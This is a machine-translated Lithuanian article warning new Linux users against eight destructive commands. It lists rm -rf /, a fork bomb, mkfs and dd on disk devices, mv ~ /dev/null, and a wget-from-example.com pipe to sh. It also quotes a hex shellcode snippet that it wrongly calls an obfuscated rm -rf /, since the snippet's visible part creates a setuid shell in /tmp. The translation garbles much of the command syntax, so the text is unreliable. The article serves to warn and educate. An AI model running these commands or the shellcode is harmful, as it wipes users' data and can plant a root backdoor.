8 Mirtinos komandos Niekada neturėtumėte paleisti Linux
„Linux“ terminalo komandos yra galingos, o „Linux“ neprašys jūsų patvirtinimo, jei paleisite komandą, kuri sulaužys jūsų sistemą. Neįprasta pamatyti trolius internete, rekomenduojant naujus „Linux“ naudotojus paleisti šias komandas kaip pokštas.
Mokymasis, kurias neturėtumėte paleisti, gali padėti apsaugoti jus nuo trolių, tuo pačiu padidindamas supratimą apie tai, kaip veikia „Linux“. Tai nėra išsamus vadovas, o čia esančios komandos gali būti remiksuojamos įvairiais būdais.
Atkreipkite dėmesį, kad daugelis šių komandų bus pavojingos tik tada, kai jos bus sujungtos sudo Ubuntu - jie neveiks kitaip. Kitose Linux platinimo programose dauguma komandų turi būti paleistos kaip root.
Vaizdo kreditas: kaukolė ir kryžminiai kaulai, remixuoti iš „Jason Ford“ Twitter
rm -rf / - Ištrina viską!
Komanda rm -rf / ištrina viską, ką gali, įskaitant failus standžiajame diske ir failus prijungtose laikmenose. Ši komanda yra geriau suprantama, jei ji suskirstyta į:
rm - Pašalinkite šiuos failus.
-rf - Paleiskite rm rekursyviai (ištrinkite visus failus ir aplankus nurodyto aplanko viduje) ir priversti pašalinti visus failus neprašydami.
/ - Nurodo rm pradėti nuo šakninio katalogo, kuriame yra visi jūsų kompiuteryje esantys failai ir visi prijungti medijos įrenginiai, įskaitant nuotolines failų kopijas ir keičiamuosius diskus..
Linux mielai paklūsta šiai komandai ir ištrins viską, neprašydamas, todėl būkite atsargūs, kai jį naudosite! Rm komanda taip pat gali būti naudojama kitais pavojingais būdais - rm -rf ~ ištrintų visus namų aplanke esančius failus rm -rf. * ištrintų visus jūsų konfigūracijos failus.
Pamoka: Saugokitės rm -rf.
Užmaskuotas rm -rf /
Štai dar vienas kodo fragmentas, kuris yra visame žiniatinklyje:
char esp [] __attribute__ ((skyrius („. tekstas“)))) / * e.s.p
išleidimas * /
Xb x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x
Xff xff xff xff x68 xdf x0 xdf x9 x68 x8d x99 “
Xdf x81 x68 x8d x92 xdf xd2 x54 x5e xf7 x16 xf7 “
X56 x04 xf7 x56 x08 xf7 x56 x0c x83 xc4 x74 x56
„X8d x73 x08 x56 x53 x54 x59 xb x xb xcd x80 x31“
Xc040 xeb xf9 xe8 xd xff xff xff x2f x62 x69 "
X6e x2f x73 x68 x00 x2d x63 x00 "
„Cp -p / bin / sh /tmp/.beyond; chmod 4755
/tmp/.beyond; “;
Tai šešioliktainė rm -rf / - vykdant šią komandą, failai būtų sunaikinti taip, lyg būtų paleista rm -rf /.
Pamoka: Negalima paleisti keistai atrodančių, akivaizdžiai užmaskuotų komandų, kurių nesuprantate.
: () : |: & ;: - šakutės bomba
Ši eilutė yra paprasta, bet pavojinga bazinė funkcija:
: () : |: & ;:
Ši trumpoji linija apibrėžia apvalkalo funkciją, kuria sukuriamos naujos kopijos. Procesas nuolat atkartojasi, o jo kopijos nuolat atkartojamos, greitai užima visą procesoriaus laiką ir atmintį. Tai gali sukelti kompiuterio įšaldymą. Tai iš esmės yra atleidimo nuo paslaugų ataka.
Pamoka: Bash funkcijos yra galingos, net labai trumpos.
Vaizdo kreditas: Dake Wikimedia Commons
mkfs.ext4 / dev / sda1 - formuoja standųjį diską
The mkfs.ext4 / dev / sda1 komandą lengva suprasti:
mkfs.ext4 - Sukurti naują ext4 failų sistemą kitame įrenginyje.
/ dev / sda1 - Nurodo pirmąjį standžiojo disko skaidinį, kuris tikriausiai naudojamas.
Kartu ši komanda gali būti lygiavertė darbinio formato c: sistemoje „Windows“ - ji bus nuvalyti pirmojo skaidinio failus ir pakeisti juos nauja failų sistema.
Ši komanda gali būti ir kitokia forma - mkfs.ext3 / dev / sdb2 suformuotų antrą standžiajame diske esantį antrąjį skaidinį su ext3 failų sistema.
Pamoka: Saugokitės komandų vykdymo tiesiai į kietojo disko įrenginius, kurie prasideda nuo / dev / sd.
komanda> / dev / sda - Tiesiogiai įrašo į kietąjį diską
The komanda> / dev / sda linija veikia panašiai - ji vykdo komandą ir siunčia tos komandos išvestį tiesiai į pirmąjį standųjį diską, rašydama duomenis tiesiai į standųjį diską ir sugadindama failų sistemą.
komandą - Paleiskite komandą (gali būti bet kokia komanda.)
> - Išsiųskite komandos išvestį į šią vietą.
/ dev / sda - Parašykite komandos išvestį tiesiai į standžiojo disko įrenginį.
Pamoka: Kaip ir anksčiau, saugokitės komandų, kuriose yra kietojo disko įrenginiai, pradedant nuo / dev / sd.
dd if = / dev / random iš = / dev / sda - įrašo šiukšles į kietąjį diską
The dd if = / dev / atsitiktinis = = dev / sda linija taip pat panaikins vieno iš standžiųjų diskų duomenis.
dd - Atlikite žemo lygio kopijavimą iš vienos vietos į kitą.
if = / dev / random - Naudokite / dev / random (atsitiktinius duomenis) kaip įvestį - taip pat galite matyti vietas, pvz., / Dev / zero (nuliai).
iš = / dev / sda - Išvestis į pirmąjį standųjį diską, pakeičiant failų sistemą atsitiktiniais šiukšlių duomenimis.
Pamoka: dd kopijuoja duomenis iš vienos vietos į kitą, o tai gali būti pavojinga, jei kopijuojate tiesiai į įrenginį.
Vaizdo kreditas: Matt Rudge apie Flickr
mv ~ / dev / null - perkelia jūsų namų katalogą į juodąją skylę
/ dev / null yra dar viena ypatinga vieta - kažkas perkeliama į / dev / null yra tas pats, kas jį sunaikina. Pagalvokite apie / dev / null kaip juodą skylę. Iš esmės, mv ~ / dev / null siunčia visus jūsų asmeninius failus į juodąją skylę.
mv - Perkelkite šį failą arba katalogą į kitą vietą.
~ - Atvaizduoja visą jūsų namų katalogą.
/ dev / null - Perkelkite savo namų aplanką į / dev / null, sunaikindami visus failus ir ištrindami originalias kopijas.
Pamoka: ~ Simbolis yra jūsų namų aplankas, o dalykų perkėlimas į / dev / null juos sunaikina.
wget http://example.com/something -O - | sh - parsisiunčia ir vykdo scenarijų
Pirmiau pateiktoje eilutėje atsisiunčiamas scenarijus iš žiniatinklio ir siunčiamas į sh, kuris vykdo scenarijaus turinį. Tai gali būti pavojinga, jei nesate tikri, koks yra scenarijus, arba jei nepasitikite jo šaltiniu - nevykdykite nepatikimų scenarijų.
wget - Atsisiunčia failą. (Vietoje wget taip pat galite pamatyti garbanojimą.)
http://example.com/something - Atsisiųskite failą iš šios vietos.
| - Vamzdžio komandą (atsiųstą failą) nukreipkite tiesiai į kitą komandą.
sh - Siųskite failą į komandą „sh“, kuri ją įvykdo, jei tai yra „bash“ scenarijus.
Pamoka: Negalima atsisiųsti ir paleisti nepatikimų scenarijų iš žiniatinklio, netgi su komanda.
Žinokite kitas pavojingas komandas, kurių neturėtų paleisti nauji (ir patyrę) „Linux“ naudotojai? Palikite komentarą ir dalinkitės jais!